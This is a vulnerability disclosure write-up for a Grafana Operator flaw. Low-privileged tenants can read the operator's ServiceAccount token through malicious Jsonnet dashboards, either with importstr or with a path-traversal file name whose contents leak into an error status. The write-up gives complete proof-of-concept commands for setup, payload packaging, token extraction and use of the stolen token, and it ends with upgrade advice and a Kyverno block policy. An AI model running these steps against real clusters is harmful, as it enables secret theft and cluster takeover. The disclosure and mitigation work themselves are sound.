Medium rare: serving cluster-admin via Grafana operator

A Kubernetes operator is a custom controller that extends the Kubernetes API with Custom Resources. You create an object, the operator sees it and does privileged work to make the cluster match.

Grafana Operator manages Grafana this way. Instead of clicking around the Grafana UI or hand-editing its config, you declare Grafana, GrafanaDashboard, and GrafanaDatasource objects, and the operator builds them into a running Grafana with its dashboards and data sources loaded. Dashboards as code.

Resources GrafanaDashboard and GrafanaLibraryPanel are expected to be created by low-privileged users.

GrafanaDashboard and GrafanaLibraryPanel let you ship a dashboard as a Jsonnet program:

jsonnetLib:
  fileName: main.jsonnet
  gzipJsonnetProject: <base64 gzipped tarball>

The gzipJsonnetProject is a gzipped tarball of the Jsonnet project (the program plus any library files it imports). fileName names the entrypoint. The operator unpacks the tarball into a working directory in its own pod and evaluates that file with a Jsonnet VM.

Evaluating an untrusted program in the same pod that holds your credentials is the root cause. Jsonnet’s importer isn’t a sandbox, and the go-jsonnet authors say so in a comment on the import function:

Note this is not an isolation or restriction mechanism; absolute
import paths or paths that traverse up the directory hierarchy
are both allowed, so imports can access any file path regardless
of the content of JPaths.

So let’s abuse this to get the way-over-privileged operator ServiceAccount token.

kind create cluster --image kindest/node:v1.35.0 --name grafana-poc --kubeconfig ./kubeconfig
export KUBECONFIG=$PWD/kubeconfig

helm install grafana-operator oci://ghcr.io/grafana/helm-charts/grafana-operator \
  --version 5.23.0 --namespace grafana-system --create-namespace --wait

kubectl create ns attacker

kubectl -n attacker create sa tenant
kubectl -n attacker create role tenant-grafana \
  --verb=create,get --resource=grafanas.grafana.integreatly.org,grafanadashboards.grafana.integreatly.org,grafanalibrarypanels.grafana.integreatly.org
kubectl -n attacker create rolebinding tenant-grafana --role=tenant-grafana --serviceaccount=attacker:tenant

APISERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
kubectl config view --raw -o jsonpath='{.clusters[0].cluster.certificate-authority-data}' | base64 -d > ./ca.crt
TOKEN=$(kubectl -n attacker create token tenant --duration=24h)
kubectl config set-cluster poc --server="$APISERVER" --certificate-authority=./ca.crt --embed-certs=true --kubeconfig=./kubeconfig-tenant
kubectl --kubeconfig=./kubeconfig-tenant config set-credentials tenant --token="$TOKEN"
kubectl --kubeconfig=./kubeconfig-tenant config set-context poc --cluster=poc --user=tenant --namespace=attacker
kubectl --kubeconfig=./kubeconfig-tenant config use-context poc

kubectl --kubeconfig=./kubeconfig-tenant apply -n attacker -f - <<'EOF'
apiVersion: grafana.integreatly.org/v1beta1
kind: Grafana
metadata:
  name: shared
  labels:
    dashboards: grafana
spec:
  config:
    security:
      admin_user: admin
      admin_password: admin
EOF

Variant A: exfiltrate SA token via a text panel

Jsonnet has an importstr builtin that reads a file off disk. The “dashboard” reads the token into a text panel:

local token = importstr '/var/run/secrets/kubernetes.io/serviceaccount/token';
{
  schemaVersion: 39,
  title: 'exfil',
  uid: 'exfil-poc',
  panels: [{ id: 1, type: 'text', title: 'token', options: { content: token } }],
}

Package that jsonnet into the gzipJsonnetProject tarball and apply the malicious GrafanaDashboard as the tenant:

mkdir -p /tmp/va && cat > /tmp/va/main.jsonnet <<'EOF'
local token = importstr '/var/run/secrets/kubernetes.io/serviceaccount/token';
{
  schemaVersion: 39,
  title: 'exfil',
  uid: 'exfil-poc',
  panels: [{ id: 1, type: 'text', title: 'token', options: { content: token } }],
}
EOF
tar czf /tmp/va.tar.gz -C /tmp/va main.jsonnet
GZJSON_B64=$(base64 -w0 < /tmp/va.tar.gz)

kubectl --kubeconfig=./kubeconfig-tenant apply -n attacker -f - <<EOF
apiVersion: grafana.integreatly.org/v1beta1
kind: GrafanaDashboard
metadata:
  name: exfil
spec:
  instanceSelector:
    matchLabels:
      dashboards: grafana
  allowCrossNamespaceImport: true
  jsonnetLib:
    fileName: main.jsonnet
    gzipJsonnetProject: ${GZJSON_B64}
EOF

The operator evaluates the jsonnet in its own pod, importstr reads the token into the text panel, and the dashboard syncs into the Grafana instance. The dashboard-level title is required or Grafana rejects the model; the uid and panel title are what the readback below keys on. Read the token back through the Grafana API. Port-forwarding the Service needs services access, which the tenant Role above does not grant, so use an operator-level context (or any other route you have to the Grafana Service) for this step:

kubectl -n attacker rollout status deploy/shared-deployment --timeout=300s
kubectl -n attacker port-forward svc/shared-service 3000:3000 &
sleep 4

TOKEN=$(curl -s -u admin:admin "http://127.0.0.1:3000/api/dashboards/uid/exfil-poc" \
  | jq -r '.dashboard.panels[] | select(.title=="token") | .options.content')

Variant B: exfiltrate SA token via an error message

Even simpler, no need for a Grafana instance at all. The sink in controllers/content/fetchers/jsonnet_fetcher.go:

// jsonnet_fetcher.go:226
evaluateFilePath := fmt.Sprintf("%s/%s", extractTo, spec.JsonnetProjectBuild.FileName)

// jsonnet_fetcher.go:228
jsonString, err := vm.EvaluateFile(evaluateFilePath)

The tenant-controlled FileName is concatenated onto the extraction directory and passed to EvaluateFile with no traversal check. The operator already ships a validRelPath guard that would catch this:

// jsonnet_fetcher.go:270
func validRelPath(p string) bool {
	if p == "" || strings.Contains(p, `\`) ||
		strings.HasPrefix(p, "/") ||
		strings.Contains(p, "../") {
		return false
	}
	return true
}

But it’s only called on tar entry names during extraction (jsonnet_fetcher.go:312), never on the evaluate path. The payload is the filename. The tarball just has to be an extractable archive, so a one-file decoy is enough:

mkdir -p /tmp/vb && echo '{}' > /tmp/vb/decoy.jsonnet
tar czf /tmp/vb.tar.gz -C /tmp/vb decoy.jsonnet
GZJSON_B64=$(base64 -w0 < /tmp/vb.tar.gz)

kubectl --kubeconfig=./kubeconfig-tenant apply -n attacker -f - <<EOF
apiVersion: grafana.integreatly.org/v1beta1
kind: GrafanaDashboard
metadata:
  name: exfil
spec:
  instanceSelector:
    matchLabels:
      dashboards: grafana
  allowCrossNamespaceImport: true
  jsonnetLib:
    fileName: ../../../../var/run/secrets/kubernetes.io/serviceaccount/token
    gzipJsonnetProject: ${GZJSON_B64}
EOF

The operator tries to parse the token as jsonnet, fails, and wraps the go-jsonnet error, which contains the file’s bytes, into err. Then dashboard_controller.go:137 writes it straight to the CR status:

setInvalidSpec(&cr.Status.Conditions, cr.Generation, conditionReasonInvalidModelResolution, err.Error())

The operator leaks a secret by putting a failed parse of it into an error message the attacker can read back. Similar shape to error-based SQL injection, but for Kubernetes.

kubectl --kubeconfig=./kubeconfig-tenant -n attacker get grafanadashboard exfil \
  -o jsonpath='{.status.conditions[?(@.type=="InvalidSpec")].message}' \
  | grep -oE 'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'

Use the token

KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$TOKEN" get secrets -A | head
# every Secret in every namespace, including kube-system controller tokens

KUBECONFIG=/dev/null kubectl --server="$APISERVER" --insecure-skip-tls-verify --token="$TOKEN" \
  -n kube-system create deployment pwn --image=busybox -- sh -c 'sleep 60'
# deployment.apps/pwn created in kube-system, likely no PSA/kyverno policies in there

Full kubectl auth can-i --list:

Resources                                       Non-Resource URLs                      Resource Names   Verbs
configmaps                                      []                                     []               [create delete get list patch update watch]
persistentvolumeclaims                          []                                     []               [create delete get list patch update watch]
secrets                                         []                                     []               [create delete get list patch update watch]
serviceaccounts                                 []                                     []               [create delete get list patch update watch]
services                                        []                                     []               [create delete get list patch update watch]
deployments.apps                                []                                     []               [create delete get list patch update watch]
httproutes.gateway.networking.k8s.io            []                                     []               [create delete get list patch update watch]
ingresses.networking.k8s.io                     []                                     []               [create delete get list patch update watch]
events                                          []                                     []               [create patch]
events.events.k8s.io                            []                                     []               [create patch]
selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
*.grafana.integreatly.org                       []                                     []               [get list patch watch]
*.grafana.integreatly.org/status                []                                     []               [get patch update]
                                                [/api/*]                               []               [get]
                                                [/apis/*]                              []               [get]
                                                [/healthz]                             []               [get]
                                                [/version]                             []               [get]
*.grafana.integreatly.org/finalizers            []                                     []               [patch update]

I reported both variants as Critical. Variant A was closed as a duplicate of Variant B, since they share a root cause and one patch fixes both. Then Variant B was downgraded to Medium. Here’s the reason the Grafana team gave:

So even though an attacker gets admin access in the operator’s own namespace, the vulnerability still rates Confidentiality/Integrity/Availability as None, because the access is via the kube API. And so… apparently this doesn’t count, or something?

A severity downgrade like this has a cost paid by operator users. Security/platform teams triage by vuln score, patching cluster-takeover criticals ASAP, and Mediums whenever.

I said as much and fixed the GHSA Impact section myself. The devs changed it back and submitted Medium anyway. So here we are.

Upgrade to grafana-operator v5.24.0 or later.

If you can’t upgrade, block tenants from setting the jsonnet fields. A Kyverno policy that denies the dangerous fields on both kinds:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-grafana-jsonnet
spec:
  background: true
  rules:
    - name: deny-jsonnet-fields
      match:
        any:
          - resources:
              kinds:
                - grafana.integreatly.org/*/GrafanaDashboard
                - grafana.integreatly.org/*/GrafanaLibraryPanel
      validate:
        failureAction: Enforce
        message: "spec.jsonnetLib is forbidden: reaches an unsandboxed Jsonnet FileImporter that can read the operator ServiceAccount token (CVE-2026-11769)"
        pattern:
          spec:
            X(jsonnetLib): "null"

Update your Kubernetes operators.

Do not install operators you do not absolutely need. Every operator is a privileged deputy sitting in your cluster, processing objects that lower-privileged users can create. Each one increases your attack surface.

Be mindful that developers like to downgrade the severity of their own vulns. Use metrics other than the CVSS score.